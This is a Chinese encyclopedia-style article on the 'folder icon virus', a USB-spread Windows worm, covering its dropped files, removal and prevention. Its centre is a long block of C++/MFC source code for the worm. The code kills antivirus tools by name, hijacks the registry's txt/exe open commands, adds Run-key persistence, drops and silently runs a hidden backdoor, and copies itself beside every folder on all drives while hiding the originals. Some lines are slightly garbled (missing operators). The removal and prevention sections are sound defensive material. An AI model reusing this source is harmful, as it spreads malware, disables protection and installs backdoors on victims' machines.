标题：文件夹图标病毒
病毒介绍
文件夹图标病毒具有Autorun属性。该病毒是用VC编写，运行后会在系统目录下生成类似XP-8B618895.EXE的病毒副本，其中8B618895是随机的，并搜索移动设备，生成autorun文件，并根据移动存储设备根目录文件夹名生成同名EXE文件，并将原文件夹隐藏起来。另外病毒还会删除临时文件及Cookies，删除IE访问记录TypedURL。
生成文件(以系统盘为C盘，winxp Sp3为例，U:\代表U盘盘符)
C:\WINDOWS\system32\XP-8B618895.EXE 1,501,856
C:\WINDOWS\system32\ul.dll 2,404
C:\WINDOWS\system32\og.dll 692
C:\WINDOWS\system32\com.run 270,336
C:\Documents and Settings\Nick\「开始」菜单\程序\启动\　.lnk 指向C:\WINDOWS\system32\XP-8B618895.EXE（注意空格）
U:\autorun.inf
U:\Recycled.exe
在U盘根目录生成文件夹图标同名EXE文件
以下是易语言的库文件等：
C:\WINDOWS\system32\dp1.fne
C:\WINDOWS\system32\eAPI.fne
C:\WINDOWS\system32\internet.fne
C:\WINDOWS\system32\krnln.fnr
C:\WINDOWS\system32\RegEx.fnr
C:\WINDOWS\system32\shell.fne
C:\WINDOWS\system32\spec.fne
添加注册表启动项：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 
XP-8B618895（这里也是随机的，根据病毒名生成的不同而变）
病毒源代码
bool CVirousApp::OpenFuckFile() 
{ 
char CmdLine[MAX_PATH]={0}; 
char DirUrl[MAX_PATH]={0}; 
char HiJack[MAX_PATH]={0}; 
if(!GetCurrentDirectory(MAX_PATH,DirUrl)) 
return FALSE; 
char ch='\\'; 
if(ch!=*(DirUrl strlen(DirUrl)-1)) 
{ 
strcat(DirUrl,"\\"); 
} 
//此处只在系统根目录下有效 
sprintf(HiJack,"%s%s\\",DirUrl,AfxGetApp()->m_pszAp pName); 
//判断是否存在。
可以打开 
if(-1==_access(HiJack,0)) 
return FALSE; 
else 
{ 
sprintf(CmdLine,"explorer.exe %s",HiJack); 
// MessageBox(CmdLine); //For a Test 
if(WinExec(CmdLine,SW_SHOW)<31) 
return FALSE; 
} 
return TRUE; 
} 
2、劫持"txt、exe"文件，并屏蔽常用安全工具 
//定义特征字符串 
BOOL check=TRUE; 
int len=7; 
char *FuckExe[]={"USBCleaner", 
"Kis", 
"Kav", 
"IceSword", 
"Kill", 
"WSYSCHECK", 
"360"}; 
//获取参数并判断 
if(strcmp(m_lpCmdLine,""))//如果有参数 
{ 
//判断特征字符串 
int i; 
for(i=0;i<len;i ) 
{ 
if(strstr(_strupr(_strdup(m_lpCmdLine)), 
_strupr(_strdup(FuckExe)))) 
{ check=FALSE; break;} 
} 
// LPTSTR ext; 
// ext=wcschr(m_lpCmdLine,_T(".")) 1; 
CString cmd; 
// if(!wcscmp(ext,_T("txt"))) 
if(strstr(m_lpCmdLine,_T(".txt"))||strstr(m_lpCmdL ine,_T(".TXT"))) 
{ 
cmd.Format("%s %s","notepad.exe",m_lpCmdLine); 
} 
else 
if(strstr(m_lpCmdLine,_T(".exe"))||strstr(m_lpCmdL ine,_T(".EXE"))) 
{ 
//此处不完美。
判断文件名 
if(!check) 
{ 
// AfxMessageBox("文件已损坏！"); 
::MessageBox(NULL,"文件已损坏！请重新安装应用程序！","Microsoft",MB_OK); 
return FALSE; 
} 
else 
cmd.Format("%s",m_lpCmdLine); 
} 
WinExec(cmd,SW_NORMAL); 
} 
else 
//打开文件 
OpenFuckFile(); 
3、自启动及实现劫持"exe、txt"文件 
//向系统目录下拷贝程序 
char FileSource[MAX_PATH]={0}; 
char FileNew[MAX_PATH]={0}; 
HMODULE hModule; 
hModule=GetModuleHandle(NULL); 
GetModuleFileName(hModule,FileSource,MAX_PATH); 
CloseHandle(hModule); 
GetSystemDirectory(FileNew,MAX_PATH); 
strcat(FileNew,"\\SysKernel.exe"); 
CopyFile(FileSource,FileNew,TRUE); 
SetFileAttributes(FileNew, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM); 
//写注册表。
弄个自启动 
WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft \\Windows\\CurrentVersion\\Run", 
"SysKernel",REG_SZ,FileNew,0,0); 
//写注册表，进行映像劫持 
char Hijack[MAX_PATH]={0}; 
sprintf(Hijack,"%s %%1",FileNew); 
WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Classes\\ txtfile\\shell\\open\\command", 
NULL,REG_SZ,Hijack,0,1); 
WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Classes\\ exefile\\shell\\open\\command", 
NULL,REG_SZ,Hijack,0,1); 
4、释放后门，并启动之 
BOOL CVirousDlg::ReleaseResource(WORD wResourceID, LPCTSTR lpType, LPCTSTR lpFileName) 
{ 
HGLOBAL hRes; 
HRSRC hResInfo; 
HANDLE hFile; 
DWORD dwBytes; 
hResInfo = FindResource(NULL, MAKEINTRESOURCE(wResourceID), lpType); 
if (hResInfo == NULL) 
return FALSE; 
hRes = LoadResource(NULL, hResInfo); 
if (hRes == NULL) 
return FALSE; 
hFile = CreateFile 
( 
lpFileName, 
GENERIC_WRITE, 
FILE_SHARE_WRITE, 
NULL, 
CREATE_ALWAYS, 
FILE_ATTRIBUTE_NORMAL, 
NULL 
); 
if (hFile == NULL) 
return FALSE; 
WriteFile(hFile, hRes, SizeofResource(NULL, hResInfo), &dwBytes, NULL); 
CloseHandle(hFile); 
return TRUE; 
} 
VOID CVirousDlg::ReleaseDoor() 
{ 
char strSystemPath[MAX_PATH]; 
GetSystemDirectory(strSystemPath, sizeof(strSystemPath)); 
lstrcat(strSystemPath, "\\SysService.exe"); 
ReleaseResource(IDR_BIN, "BIN", strSystemPath); 
SetFileAttributes(strSystemPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM); 
//实现后门自启动 
WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft \\Windows\\CurrentVersion\\Run", 
"SysService",REG_SZ,strSystemPath,0,0); 
WinExec(strSystemPath,SW_HIDE); 
} 
5、遍历磁盘并拷贝自身 
//遍历系统磁盘 
BOOL CVirousDlg::FuckFile() 
{ 
DWORD dwNumBytesForDriveStrings;//实际存储驱动器号的字符串长度 
LPSTR lp; 
CString strLogdrive; 
//获得实际存储驱动器号的字符串长度 
dwNumBytesForDriveStrings=GetLogicalDriveStrings(0 ,NULL);//*sizeof(TCHAR); 
//如果字符串不为空。
则表示有正常的驱动器存在 
if (dwNumBytesForDriveStrings!=0) 
{ 
lp=new char[dwNumBytesForDriveStrings]; 
GetLogicalDriveStrings(dwNumBytesForDriveStrings,l p); 
while (*lp!=0) 
{ 
DoBad(lp); 
lp=strchr(lp,0) 1; 
} 
return TRUE; 
} 
else 
return FALSE; 
} 
//干坏事 
VOID CVirousDlg::DoBad(char DriveBuf[]) 
{ 
CFileFind finder; 
// build a string with wildcards 
CString strWildcard(DriveBuf); 
strWildcard = _T("*.*"); 
char FileSource[MAX_PATH]={0}; 
char FileNew[MAX_PATH]={0}; 
HMODULE hModule; 
hModule=GetModuleHandle(NULL); 
GetModuleFileName(hModule,FileSource,MAX_PATH); 
// CloseHandle(hModule); 
// start working for files 
BOOL bWorking = finder.FindFile(strWildcard); 
while (bWorking) 
{ 
// nReg ; 
bWorking = finder.FindNextFile(); 
// skip . and .. files; otherwise, we'd 
// recur infinitely! 
if (finder.IsDots()) 
continue; 
// if it's a directory, recursively search it 
if (finder.IsDirectory()&&!finder.IsSystem()&&!finder .IsHidden()) 
{ 
nReg ; 
if(!SetFileAttributes(finder.GetFilePath(), 
FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM)) 
continue; 
sprintf(FileNew,"%s%s",finder.GetFilePath(),".exe" ); 
CopyFile(FileSource,FileNew,TRUE); 
if(FUCKREG==nReg) 
{ 
WriteReg(FileNew); 
} 
} 
} 
finder.Close(); 
}
查杀方式
1.下载usbcleaner，并运行其中的foldercure.exe 　
2.下载usbcleaner单独的文件夹图标病毒专杀工具，下
3.手动查杀：
结束进程
XP-8B618895.EXE（注意名称不固定，最好用icesword，其图标是文件夹容易区分）
依次删除
C:\WINDOWS\system32\ul.dll 2,404
C:\WINDOWS\system32\og.dll 692
C:\WINDOWS\system32\com.run 270,336
C:\Documents and Settings\Nick\「开始」菜单\程序\启动\　.lnk 指向C:\WINDOWS\system32\XP-8B618895.EXE（注意空格）
C:\WINDOWS\system32\og.EDT&一个VB程序那种图标的exe（名字记不清了，总之看修改日期就好几乎与其他可疑文件是同一时期而且这几个文件都在一块呢）
(以上两个原文里虽然没提但还是也一并删除吧，再啰嗦一句，当然XP-*.exe这些看见也一概删除)
（删除下面几个是关键哦，网上一般解决办法都没提）
以下是易语言的库文件等：
C:\WINDOWS\system32\dp1.fne
C:\WINDOWS\system32\eAPI.fne
C:\WINDOWS\system32\internet.fne
C:\WINDOWS\system32\krnln.fnr
C:\WINDOWS\system32\RegEx.fnr
C:\WINDOWS\system32\shell.fne
C:\WINDOWS\system32\spec.fne
删除病毒启动项
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
XP-8B618895（此处根据病毒名称而定）
手动删除U盘根目录的文件夹图标同名EXE文件
-------------------------------
病毒危害
模仿文件夹的病毒目前发现至少五种，其行为恶劣程度不等，轻微恶劣的更像是恶作剧程序，最恶劣的一个是连系统盘各目录内都模仿全了，总之如果U盘有了文件夹图标的exe千万不要点（右键也不要！）。删除的时候务必选择强制删除才好。还有除了删除上述所说的文件外，请务必也将temp文件夹下的易语言库文件用IceSword强制删除，我的建议是搜索C盘所有后缀名为fne&fnr的文件然后删之（杀任何病毒都应有此习惯）。否则虽然system32下的虽删除了，但如果重启动作慢的话依然有可能复发哦！
病毒防范
该病毒的主要传播方式为U盘传播，像打印店，大学计算机机房，公司电脑等这些频繁使用U盘的地方极易感染此病毒。所以我们需要通过一些软件（比如360卫士）关闭我们电脑的U盘自动播放功能，防止AUTORUN的病发。
手工防毒的方法
更改电脑的相关设置:
1.控制面板,文件夹选项,查看
隐藏文件和文件夹
显示所有隐藏文件和文件夹
2.更改文件夹的查看方式
打开任意文件夹,点查看,选详细信息.
3.(可选)文件夹选项,查看
隐藏已知文件类型的扩展名,不打钩.
经过以上设置,在打开文件夹的时候,看"类型",那些文件夹病毒将再无藏身之地.首先,文件类型变成了可执行文件,或者应用程序(后缀名exe),文件大小...如果是真正的文件夹,是不存在"文件大小"的.那里显示的是空白,但假的文件夹就是有大小的.
如果显示了扩展名,那些文件就彻底暴露了,它将显示为.exe,摆明就是病毒嘛
如果养成了对U盘保持警惕的习惯,这些判断都只在瞬间完成.没有习惯的人,吃一堑长一智,总会学聪明的.
还有一招是批处理.用批处理来打开U盘,并且自动删除根目录下的可执行文件.这招比较傻瓜化,但你的U盘将不能在根目录下直接存放EXE文件(你可以建立文件夹存放它们).
start explorer h:\
del h:\*.exe
这里假设U盘的盘符是h:
这个方法可以防范U盘感染文件夹病毒,也可以用于判断机器是否已经感染该类型病毒.